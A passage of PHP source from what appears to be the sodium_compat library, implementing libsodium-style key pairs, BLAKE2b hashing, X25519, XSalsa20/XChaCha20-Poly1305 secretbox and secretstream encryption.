        $sKey = ParagonIE_Sodium_Core_Util::substr(
            hash('sha512', $seed, true),
            0,
            32
        );
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     * @throws TypeError
     */
    public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey)
    {
        return ParagonIE_Sodium_Core_Util::substr($sKey, 0, 32) .
            ParagonIE_Sodium_Core_Util::substr($pKey, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_secretkey($keypair)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== 64) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core_Util::substr($keypair, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_publickey($keypair)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core_Util::substr($keypair, 32, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_publickey_from_secretkey($sKey)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.'
            );
        }
        return self::scalarmult_base($sKey);
    }

    /**
     * Decrypt a message encrypted with box().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($ciphertext, $nonce, $keypair)
    {
        return self::secretbox_open(
            $ciphertext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * Calculate a BLAKE2b hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string|null $key
     * @param int $outlen
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash($message, $key = '', $outlen = 32)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            /** @var SplFixedArray $k */
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message);

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outlen);
        ParagonIE_Sodium_Core_BLAKE2b::update($ctx, $in, $in->count());

        /** @var SplFixedArray $out */
        $out = new SplFixedArray($outlen);
        $out = ParagonIE_Sodium_Core_BLAKE2b::finish($ctx, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core_Util::intArrayToString($outArray);
    }

    /**
     * Finalize a BLAKE2b hashing context, returning the hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param int $outlen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_final($ctx, $outlen = 32)
    {
        if (!is_string($ctx)) {
            throw new TypeError('Context must be a string');
        }
        $out = new SplFixedArray($outlen);

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $out */
        $out = ParagonIE_Sodium_Core_BLAKE2b::finish($context, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core_Util::intArrayToString($outArray);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init($key = '', $outputLength = 32)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength);

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @param string $salt
     * @param string $personal
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init_salt_personal(
        $key = '',
        $outputLength = 32,
        $salt = '',
        $personal = ''
    ) {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }
        if (!empty($salt)) {
            $s = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($salt);
        } else {
            $s = null;
        }
        if (!empty($salt)) {
            $p = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($personal);
        } else {
            $p = null;
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength, $s, $p);

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx);
    }

    /**
     * Update a hashing context for BLAKE2b with $message
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param string $message
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_update($ctx, $message)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message);

        ParagonIE_Sodium_Core_BLAKE2b::update($context, $in, $in->count());

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($context);
    }

    /**
     * Libsodium's crypto_kx().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $my_sk
     * @param string $their_pk
     * @param string $client_pk
     * @param string $server_pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash(
            ParagonIE_Sodium_Compat::crypto_scalarmult($my_sk, $their_pk) .
            $client_pk .
            $server_pk
        );
    }

    /**
     * ECDH over Curve25519
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult($sKey, $pKey)
    {
        $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * ECDH over Curve25519, using the basepoint.
     * Used to get a secret key from a public key.
     *
     * @param string $secret
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult_base($secret)
    {
        $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10_base($secret);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * This throws an Error if a zero public key was passed to the function.
     *
     * @param string $q
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function scalarmult_throw_if_zero($q)
    {
        $d = 0;
        for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) {
            $d |= ParagonIE_Sodium_Core_Util::chrToInt($q[$i]);
        }

        /* branch-free variant of === 0 */
        if (-(1 & (($d - 1) >> 8))) {
            throw new SodiumException('Zero public key is not allowed');
        }
    }

    /**
     * XSalsa20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            self::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core_Util::substr(
                    $plaintext,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                1,
                $subkey
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core_Util::substr($block0, 0, 32)
        );
        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core_Util::xorStrings(
            ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES)
        );
        if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core_Util::substr(
                    $c,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                1,
                (string) $subkey
            );
        }
        return $m;
    }

    /**
     * XChaCha20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $block0,
            $nonceLast,
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            self::secretbox_xchacha20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core_Util::substr(
                    $plaintext,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                $nonceLast,
                $subkey,
                ParagonIE_Sodium_Core_Util::store64_le(1)
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox_xchacha20poly1305().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hchacha20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core_Util::substr($block0, 0, 32)
        );

        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core_Util::xorStrings(
            ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES)
        );

        if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core_Util::substr(
                    $c,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                (string) $subkey,
                ParagonIE_Sodium_Core_Util::store64_le(1)
            );
        }
        return $m;
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_init_push($key)
    {
        # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES);
        $out = random_bytes(24);

        # crypto_core_hchacha20(state->k, out, k, NULL);
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20($out, $key);
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core_Util::substr($out, 16, 8) . str_repeat("\0", 4)
        );

        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $state->counterReset();

        # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES,
        #        crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        return array(
            $state->toString(),
            $out
        );
    }

    /**
     * @param string $key
     * @param string $header
     * @return string Returns a state.
     * @throws Exception
     */
    public static function secretstream_xchacha20poly1305_init_pull($key, $header)
    {
        # crypto_core_hchacha20(state->k, in, k, NULL);
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($header, 0, 16),
            $key
        );
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core_Util::substr($header, 16)
        );
        $state->counterReset();
        # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        # return 0;
        return $state->toString();
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);
        # crypto_onetimeauth_poly1305_state poly1305_state;
        # unsigned char                     block[64U];
        # unsigned char                     slen[8U];
        # unsigned char                    *c;
        # unsigned char                    *mac;

        $msglen = ParagonIE_Sodium_Core_Util::strlen($msg);
        $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad);

        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        # if (outlen_p != NULL) {
        #     *outlen_p = 0U;
        # }
        # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #     sodium_misuse();
        # }

        # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        # crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        # sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #     (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));

        # memset(block, 0, sizeof block);
        # block[0] = tag;
        # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                    state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core_Util::intToChr($tag) . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $auth->update($block);

        # out[0] = block[0];
        $out = $block[0];
        # c = out + (sizeof tag);
        # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k);
        $cipher = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $msg,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(2)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update($cipher);

        $out .= $cipher;
        unset($cipher);

        # crypto_onetimeauth_poly1305_update
        # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        # STORE64_LE(slen, (uint64_t) adlen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # STORE64_LE(slen, (sizeof block) + mlen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # mac = c + mlen;
        # crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        $mac = $auth->finish();
        $out .= $mac;

        # sodium_memzero(&poly1305_state, sizeof poly1305_state);
        unset($auth);


        # XOR_BUF(STATE_INONCE(state), mac,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        # sodium_increment(STATE_COUNTER(state),
        #     crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();
        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #     sodium_is_zero(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #     crypto_secretstream_xchacha20poly1305_rekey(state);
        # }
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        # if (outlen_p != NULL) {
        #     *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen;
        # }
        return $out;
    }

    /**
     * @param string $state
     * @param string $cipher
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '')
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);

        $cipherlen = ParagonIE_Sodium_Core_Util::strlen($cipher);
        #     mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES;
        $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES;
        $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad);

        #     if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #         sodium_misuse();
        #     }
        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        #     crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        #     crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        #     sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #         (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));


        #     memset(block, 0, sizeof block);
        #     block[0] = in[0];
        #     crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                        state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $cipher[0] . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
        #     tag = block[0];
        #     block[0] = in[0];
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $tag = ParagonIE_Sodium_Core_Util::chrToInt($block[0]);
        $block[0] = $cipher[0];
        $auth->update($block);


        #     c = in + (sizeof tag);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update(ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen));

        #     crypto_onetimeauth_poly1305_update
        #     (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        #     STORE64_LE(slen, (uint64_t) adlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen);
        $auth->update($slen);

        #     STORE64_LE(slen, (sizeof block) + mlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen);
        $auth->update($slen);

        #     crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        #     sodium_memzero(&poly1305_state, sizeof poly1305_state);
        $mac = $auth->finish();

        #     stored_mac = c + mlen;
        #     if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) {
        #     sodium_memzero(mac, sizeof mac);
        #         return -1;
        #     }

        $stored = ParagonIE_Sodium_Core_Util::substr($cipher, $msglen + 1, 16);
        if (!ParagonIE_Sodium_Core_Util::hashEquals($mac, $stored)) {
            return false;
        }

        #     crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k);
        $out = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(2)
        );

        #     XOR_BUF(STATE_INONCE(state), mac,
        #         crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        #     sodium_increment(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();

        #     if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #         sodium_is_zero(STATE_COUNTER(state),
        #             crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #         crypto_secretstream_xchacha20poly1305_rekey(state);
        #     }

        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        return array($out, $tag);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_rekey(&$state)
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);
        # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES +
        # crypto_secretstream_xchacha20poly1305_INONCEBYTES];
        # size_t        i;
        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     new_key_and_inonce[i] = state->k[i];
        # }
        $new_key_and_inonce = $st->getKey();

        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] =
        #         STATE_INONCE(state)[i];
        # }
        $new_key_and_inonce .= ParagonIE_Sodium_Core_Util::substR($st->getNonce(), 0, 8);

        # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce,
        #                                 sizeof new_key_and_inonce,
        #                                 state->nonce, state->k);

        $st->rekey(ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $new_key_and_inonce,
            $st->getCombinedNonce(),
            $st->getKey(),
